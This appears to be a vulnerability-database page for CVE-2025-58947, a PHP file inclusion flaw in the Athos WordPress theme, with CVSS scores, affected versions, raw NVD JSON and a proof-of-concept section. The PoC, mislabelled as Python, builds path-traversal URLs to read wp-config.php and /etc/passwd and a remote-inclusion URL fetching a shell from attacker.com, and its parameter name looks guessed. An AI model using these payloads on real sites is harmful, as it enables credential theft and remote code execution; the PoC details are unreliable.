Security Vulnerability Report
中文
CVE-2025-58947 CVSS 8.1 HIGH

CVE-2025-58947

Published: 2025-12-18 08:16:02
Last Modified: 2026-04-27 20:16:22

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Athos athos allows PHP Local File Inclusion.This issue affects Athos: from n/a through <= 1.9.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:athos:*:*:*:*:*:wordpress:*:* - VULNERABLE
Athos Theme <= 1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58947 - Athos WordPress Theme LFI/RFI PoC * Vulnerability: PHP Local/Remote File Inclusion * Affected: Athos Theme <= 1.9 * CVSS: 8.1 (High) */ // Local File Inclusion (LFI) - Read sensitive files $lfi_payload = "?file=../../../../../../wp-config.php"; $target_url = "http://target-site.com/wp-content/themes/athos/"; $lfi_url = $target_url . $lfi_payload; // Remote File Inclusion (RFI) - Execute remote code $attacker_server = "http://attacker.com/"; $rfi_payload = "?file=" . urlencode($attacker_server . "shell.php"); $rfi_url = $target_url . $rfi_payload; // Path traversal to read /etc/passwd $passwd_payload = "?file=../../../../../../etc/passwd"; $passwd_url = $target_url . $passwd_payload; echo "LFI PoC URL: " . $lfi_url . "\n"; echo "RFI PoC URL: " . $rfi_url . "\n"; echo "Passwd PoC URL: " . $passwd_url . "\n"; // Example curl command for testing: // curl -i 'http://target-site.com/wp-content/themes/athos/?file=../../../../../../wp-config.php' // curl -i 'http://target-site.com/wp-content/themes/athos/?file=http://attacker.com/shell.txt' ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58947", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:02.487", "lastModified": "2026-04-27T20:16:21.850", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Athos athos allows PHP Local File Inclusion.This issue affects Athos: from n/a through <= 1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:athos:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.9", "matchCriteriaId": "EE4236AA-1FD6-4675-A2D4-7BCBF31120C8"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/athos/vulnerability/wordpress-athos-theme-1-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}